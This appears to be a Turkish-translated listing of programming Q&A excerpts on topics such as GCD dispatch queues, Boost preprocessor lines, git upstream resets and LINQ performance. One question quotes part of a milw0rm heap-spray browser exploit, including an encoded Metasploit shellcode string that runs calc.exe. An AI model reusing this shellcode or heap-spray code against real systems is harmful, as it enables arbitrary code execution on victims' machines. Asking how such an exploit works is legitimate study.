Programlama

Profesyonel ve meraklı programcılar için soru cevap

6
iPhone - Grand Central Dispatch ana ileti dizisi
Uygulamalarımda başarılı bir şekilde büyük merkezi gönderim kullanıyorum, ancak bunun gibi bir şeyi kullanmanın gerçek avantajının ne olduğunu merak ediyordum: dispatch_async(dispatch_get_main_queue(), ^{ ... do stuff ya da dispatch_sync(dispatch_get_main_queue(), ^{ ... do stuff Demek istediğim, her iki durumda da, ana iş parçacığı üzerinde yürütülecek bir bloğu ateşliyorsunuz, tam olarak uygulamanın çalıştığı …

3
C / C ++ ön işlemcisinde kendi satırındaki tek bir pound / karma işaretinin (#) amacı nedir?
Boost kitaplıklarının kaynak koduna bakıyordum ve genellikle bunlara herhangi bir önişlemci yönergesi eklenmemiş tek pound işaretlerinin olduğunu fark ettim. GCC önişlemci kılavuzunu ve teknik özellik kılavuzunu okudum ve bu konuda hiçbir şey bulamıyorum. (1) #ifndef BOOST_CONFIG_HPP (2) # include <boost/config.hpp> (3) #endif (4) # (5) #if defined(BOOST_HAS_PRAGMA_ONCE) (6) # pragma …
145 c++  c  boost  c-preprocessor 

7
Bu milw0rm yığın püskürtme istismarı nasıl çalışır?
Genelde JavaScript kodunu okumakta zorluk çekmiyorum ama bunun için mantığı çözemiyorum. Kod, 4 gün önce yayınlanan bir güvenlik açığından alınmıştır. Milw0rm'de bulabilirsiniz . İşte kod: <html> <div id="replace">x</div> <script> // windows/exec - 148 bytes // http://www.metasploit.com // Encoder: x86/shikata_ga_nai // EXITFUNC=process, CMD=calc.exe var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580"); // ugly heap spray, …

5
Netflix veya Twitter tarzı bir web hizmeti REST veya SOAP kullanmalı mı? [kapalı]
Şu anda olduğu gibi, bu soru Soru-Cevap formatımıza uygun değil. Cevapların gerçekler, referanslar veya uzmanlıkla desteklenmesini bekliyoruz, ancak bu soru büyük olasılıkla münazara, münakaşalar, anketler veya uzun tartışmalar gerektirecektir. Bu sorunun iyileştirilebileceğini ve muhtemelen yeniden açılabileceğini düşünüyorsanız, rehberlik için yardım merkezini ziyaret edin . 7 yıl önce kapalı . İki …
145 rest  soap 

1
Ana şube yukarı akışa nasıl döndürülür
Bir git deposunu çatalladım ve yukarı akış kurdum. Master dalında bazı değişiklikler yaptım ve github'a taahhüt edip gönderdim. Şimdi, Ana daldaki tüm değişikliklerimi terk etmek ve bunu yukarı akış ana dalıyla aynı yapmak için ne yapmalıyım?
145 git  github 

2
Sunucudan veri almanın önerilen yolu
Kullanmadan AngularJS'deki sunucu veri kaynaklarına bağlanmanın önerilen yolu nedir $resource? Aşağıdaki $resourcegibi birçok sınırlaması vardır: Uygun vadeli işlemleri kullanmamak Yeterince esnek olmamak
145 angularjs 

5
Statik sınıf değişkenlerini değiştirmezlerse, senkronize edilmemiş statik yöntemler iş parçacığı güvenli midir?
Sana olan statik bir yöntemi varsa merak değil senkronize fakat yok değil statik değişkenlerini değiştirmek o evreli mı? Ya yöntem kendi içinde yerel değişkenler yaratırsa? Örneğin, aşağıdaki kod iş parçacığı için güvenli midir? public static String[] makeStringArray( String a, String b ){ return new String[]{ a, b }; } Dolayısıyla, …

3
Backbone.sync nasıl geçersiz kılınır?
Backbone.js'yi deniyorum ve denediğim şeylerden biri uzaktaki bir API'ye çağrı yapmak, bu yüzden belgeleri anladığım için Backbone.sync'i geçersiz kılabilmem gerekiyor . Dokümantasyonun kendisinde bunun nasıl yapılacağına dair bir örnek yok ve Backbone için bir google grubu görünmüyor ... Birisi bunu yapmak için bir örnek verebilir mi?

6
Birden çok Id değerini kabul eden T-SQL saklı yordamı
Bir kimlik listesini bir saklı yordama parametre olarak aktarmanın zarif bir yolu var mı? Örneğin, 1, 2, 5, 7, 20 numaralı bölümlerin saklı yordamım tarafından iade edilmesini istiyorum. Geçmişte, aşağıdaki kod gibi virgülle ayrılmış bir kimlikler listesinde geçtim, ancak bunu yaparken gerçekten kirli hissediyorum. Sanırım SQL Server 2005 uygulanabilir tek …

3
Genel Veri Havuzu EF 4.1 ile nokta nedir
DbContext, DbSet ve ilgili arabirimlere daha derine inerken, neden bu uygulamalar etrafında ayrı bir "Genel" Depo uygulamanız gerektiğini merak ediyorum? Görünüşe göre DbContext ve IDbSet ihtiyacınız olan her şeyi yapıyor ve DbContext'in içinde "İş Birimi" ni içeriyor. Burada bir şey mi özlüyorum yoksa insanlar sebepsiz yere başka bir bağımlılık katmanı …

2
Google+ +1 widget'ları iframe'lerinden nasıl çıkıyor?
Her nasılsa, bir Google+ artı bir widget'ının üzerine gelmek, <iframe>içinde bulunduğu öğeden açıkça daha büyük olan araç ipucu türünde bir anlaşma sağlayabilir . Bunu doğrulamak için DOM'u inceledim. * Yani: Ne? Nasıl!? Bu, kötü amaçla kullanılırsa, tıklama hırsızlığı için büyük bir fırsat değil mi? (Bu sosyal gereçler için MITM yapan …

8
Neden Where ve Select'in performansı sadece Select'ten daha iyi?
Bunun gibi bir dersim var: public class MyClass { public int Value { get; set; } public bool IsValid { get; set; } } Aslında çok daha büyüktür, ancak bu sorunu yeniden yaratır (tuhaflık). ValueÖrneğin geçerli olduğu toplamını almak istiyorum . Şimdiye kadar buna iki çözüm buldum. İlki şu: int …
145 c#  linq 

29
IDE'de hata ayıklama neden daha iyidir? [kapalı]
Kapalı . Bu soru fikir temelli . Şu anda cevapları kabul etmiyor. Bu soruyu geliştirmek mi istiyorsunuz? Bu gönderiyi düzenleyerek gerçeklerle ve alıntılarla yanıtlanabilmesi için soruyu güncelleyin . 4 yıl önce kapalı . Bu soruyu geliştirin Yirmi yılı aşkın süredir C, Perl, SQL, Java, PHP, JavaScript ve yakın zamanda Python'da …
145 debugging  ide 

8
Oracle'da Boole Alanı
Dün bir Oracle tablosuna bir boole alanı eklemek istedim. Ancak, Oracle'da gerçekte bir boolean veri türü yoktur. Boolean simüle etmenin en iyi yolunu bilen var mı? Konuyu araştırmak birkaç yaklaşım keşfetti Bir tam sayı kullanın ve ona 0 veya 1 dışında bir şey atama zahmetine girmeyin. Yalnızca iki değer olarak …

12
Kavramsal olarak, bir oyunda yeniden oynatma nasıl çalışır?
Tekrarın bir oyunda nasıl uygulanabileceğini merak ediyordum. Başlangıçta, oyunda gerçekleştirilen her oyuncu / ai eyleminin yalnızca bir komut listesi olacağını düşündüm ve ardından oyunu 'yeniden oynar' ve motorun her zamanki gibi çalışmasını sağlar. Ancak, ben FPS replayler baktım / oyun RTS ve dikkatli incelenmesi üzerine parçacıklar ve grafiksel / sesli …

Sitemizi kullandığınızda şunları okuyup anladığınızı kabul etmiş olursunuz: Çerez Politikası ve Gizlilik Politikası.
Licensed under cc by-sa 3.0 with attribution required.